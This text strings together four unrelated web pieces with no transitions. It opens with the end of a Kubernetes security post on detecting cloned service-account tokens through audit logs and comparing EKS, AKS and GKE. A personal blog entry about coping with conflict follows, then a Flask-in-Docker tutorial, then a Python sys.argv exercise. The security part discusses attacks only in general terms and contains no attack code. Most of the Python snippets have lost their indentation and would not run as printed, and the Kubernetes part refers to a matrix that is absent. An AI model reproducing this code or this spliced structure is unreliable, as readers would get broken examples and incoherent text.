In terms of detecting this, the obvious suggestion is Kubernetes audit logging. First, make sure you have it enabled! Then look at any access to the CSR API and the TokenRequest API. Finding the attacker using their cloned accounts is tricky as the audit service doesn’t denote anything about the credential used, so you can’t tell the difference between a legitimate service account use and an attacker’s cloned service account token, for example.
Conclusion
There’s a couple of interesting points in this (for me). First up is the difference in how well the techniques work in different cluster types. EKS appears to have the most restrictive setup and has reduced the efficacy of these attacks quite a bit, although it’s current version still allows for the older secret based attack. AKS and GKE both allow the attacks to work, although GKE does mitigate the new service account token attacks by limiting the maximum duration of issued tokens.
Here’s a matrix of our attacks and how they work in the different clusters we tested.


Week 8 - Cultural Blog
Dealing with conflict
I feel pretty uncomfortable discussing this issue, so will do so briefly, and generically.
Long story short? I struggle with conflict. As much in the same way that anyone else does (albeit there are some crazies that dine out on causing upset).
But the real reason is because I have historically been pretty bad at handling it and I think some reasons include:
- I'm not very good at saying no or expressing how I feel in certain situations - this lack of expressing how I feel, over the longer term, can result in pent up frustration.
- I'm pretty low maintanence and not overtly needy in how I go about my life. Sadly this can attract the more manipulative souls out there into my life. And not being a master of the dark arts myself (nor having any desire to be), has meant that my arsenal of responses has been somewhat limited when dealing with some of the poor behaviour that has arisen.
- I have high expectations of myself and the people around me, particularly when it comes to friendship and relationships. I suspect too high on occasion.
How can I improve?
There is little substitute for time and experience and my attitude to conflict has changed drastically from where it was even a few years ago. But there are a number of strategies I still employ:
- Trust - I've learnt to trust a little less. Whilst the debate of "do you know you are bad" remains unresolved, I think we all like to think that human beings are good at heart. However, the reality is that people lie, are selfish and will exploit others at the first opportunity. Even the best natured can find themselves in situations where such behaviour becomes unavoidable. So I guess I've learnt to employ a more "healthy detachment" towards those around me.
- Expression - I try to highlight how I feel earlier on in a potential conflict situation. I try to say how I feel to the right person, in the right way at the right time and place. I'm still working on that...
- Acceptance - I increasingly accept that conflict is a part of life. Not everyone gets on. Not everyone feels the same way about issues. And we all have our own (valid) perspectives. So whilst I try to respect that of others, I am also increasingly trusting of my own instincts too. And regardless of the outcome, I try to ensure I am at peace with my role in the issue.
Final thoughts
Conflict stems from many sources: how we feel about an issue, how an issue impacts any number of parties, and dealing with others' conflict when impacting us. Each require a different level of understanding, empathy and strategy.
And whilst the idea of the world "getting on" is an inspirational one, my sense is the more realistic option is to avoid causing hurt to others where possible; to be honest but kind; and to sleep well at night from your own actions. We can but try.


Use Docker to run Flask-based REST services
Many articles of this kind exist, but most of these tutorials start from the easiest Flask example possible:
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World!"
if __name__ == "__main__":
app.run()
Although these examples are very useful to understand the Docker setup,
the objective of this post is to present a situation that is closer
(just a little bit) to the real life. The final Docker image will contain
the REST services, and it will be possible to install the whole application
on any machine supporting Docker. In addition to having a fully functional
web application that can be quickly deployed, this approach also allows
the versioning, the configurability, the portability and the share of the
deploy objects, a.k.a. the Docker images.
Architecture
The architecture is composed by two back-end modules: the main REST service and an additional service implemented as a Flask blueprint. A Flask blueprint “works similarly to a Flask application object, but it is not actually an application. Rather it is a blueprint of how to construct or extend an application“. The use of such objects allows the implementation of a modular back-end.
Back-end projects have been organized in a core and a rest package to isolate even more the responsibilities of each element. The structure of such projects is shown below:
simple_flask/
├── requirements.txt
├── setup.py
├── simple_flask
│ ├── core
│ │ └── core.py
│ └── rest
│ └── rest.py
└── simple_flask_test
├── core
│ └── core_test.py
└── rest
└── rest_test.py
Enters Docker. The final goal is to encapsulate the whole application inside Docker. As shown in the next figure this process will be seamless for the final user, that will keep interacting with the application with no extra settings required.
Source Code
The source code of all the projects used in this tutorial is available on GitHub: feel free to download, fork and/or star it!
| Project | URL |
|---|---|
| Simple Flask | https://github.com/Kalimaha/simple_flask |
| Simple Flask Blueprint | https://github.com/Kalimaha/simpleflaskblueprint |
| Simple Flask Dockerizer | https://github.com/Kalimaha/simpleflaskdockerizer |
Flask Blueprint
As mentioned before blueprints are objects used to create a modular application. This simple component follows the structure previously described and contains a core library and, of course, a blueprint. The only function of the core is used to greet the user:
def say_hallo(name=None):
s = 'Hallo ' + str(name) + '!' if name is not None else 'Hallo!'
return s
The blueprint itself is very simple as well: it exposes two routes to greet the user, one generic, and one customizable with the user name. The resulting service takes advantage of the core library to do so:
from flask import Blueprint
from simple_flask_blueprint.core.blueprint_core import say_hallo
bp = Blueprint('simple_flask_blueprint', __name__)
@bp.route('/')
def say_hallo_service():
return say_hallo()
@bp.route('/<name>/')
def say_hallo_to_guest_service(name):
return say_hallo(name)
As shown by the code the development of the service is very similar to the standard Flask, with the only exception of the Blueprint object declared at line 5.
Flask REST Service
The main back-end module has a core library as well, with the same
say_hallo
function, which returns a message that is only slightly
different from the previous one:
s = 'Hallo ' + str(name) + ' from CORE!' if name is not None else 'Hallo from CORE!'
This difference will be used to test that both the main service and the
blueprint are working correctly. The main REST service, defined in rest.py
,
register the blueprint on the /blueprint
entry point as follows:
from simple_flask_blueprint.rest.blueprint_rest import bp
class RootREST:
def __init__(self, host, run_flask):
[...]
self.app.register_blueprint(bp, url_prefix='/blueprint')
In addition to that the RootREST
class exposes two routes, similar to the
ones described for the blueprint, but it also starts the Flask engine:
if self.run_flask:
self.app.run(host=self.host, debug=True)
Once the engine is up and running, it is possible to invoke the REST service
through the browser at http://localhost:5000/
(that will display Hallo from CORE!
) or
http://localhost:5000/Kalimaha/
(which will display Hallo Kalimaha from CORE!
instead).
As mentioned before the service has been designed to be modular through the
use of blueprints. It is possible to test such blueprint by hitting the
http://localhost:5000/blueprint/ URL
(Hallo!
), or
http://localhost:5000/blueprint/Kalimaha/
(Hallo Kalimaha!
).
Docker
The most important file is the Dockerfile, that basically tells Docker what to do. Some parts of this file deserve to be highlighted, starting with:
FROM ubuntu:14.04
RUN apt-get update
These instructions generate a new container starting from Ubuntu and update its repositories. In the next step Docker is instructed to install Python, and few other useful things, such as Virtualenv, in the newly create container:
RUN apt-get install -y -q build-essential python-gdal python-simplejson
RUN apt-get install -y python python-pip wget
RUN apt-get install -y python-dev
RUN pip install virtualenv
Subsequently the script creates a folder for the source code, creates and run a virtual environment in it, and finally adds and installs all the requirements:
RUN mkdir deployment
ADD requirements.txt /deployment/requirements.txt
ADD start.py /deployment/start.py
RUN virtualenv /deployment/env/
RUN /deployment/env/bin/pip install wheel
RUN /deployment/env/bin/pip install -r /deployment/requirements.txt
Requirements are specified through a simple text file:
watchdog
Flask
flask-cors
https://github.com/Kalimaha/simple_flask/archive/master.zip
https://github.com/Kalimaha/simple_flask_blueprint/archive/master.zip
This file tells Docker to install watchdog, Flask and flask-cors from Python repositories, while back-end modules will be retrieved and installed straight from their GitHub repositories. The last file required to dockerize the project is a simple Python script:
from simple_flask.rest import rest as rest_engine
rest_engine.run_engine('<IP_ADDRESS>')
This file imports and run the main REST engine of the application.
The host of this application has to be set to <IP_ADDRESS>
, as shown at line 4,
in order to allow users to access the service inside Docker.
Time to run the build (and don’t forget the .
at the end!):
docker build -t simple_flask .
Once a new Docker image has been created it is possible to run it through the following instruction:
docker run -it -p 5000:5000 simple_flask /deployment/env/bin/python /deployment/start.py
This instruction runs the simple_flask
image (created in the previous step),
links the internal port 5000 with the host port 5000 (-p 5000:5000
), and
executes, through Virtualenv, the starting script
(/deployment/env/bin/python /deployment/start.py
). It is possible to test
the service through the URL’s specified in the Flask REST Service section.


Exercise
- Let's build some error handling into our birthday.py
import sys
if len(sys.argv) < 2:
print("ERROR: Please provide a date")
else:
BIRTHDAY = sys.argv[1]
message = "I am born on {}".format(BIRTHDAY)
print(message)
- By the way: "len" is a built-in function to return the length of a list
- ...and "sys.argv" is just a list of command line arguments
- The first argument is always the Python script filename
- The second argument is supposed to be birthdate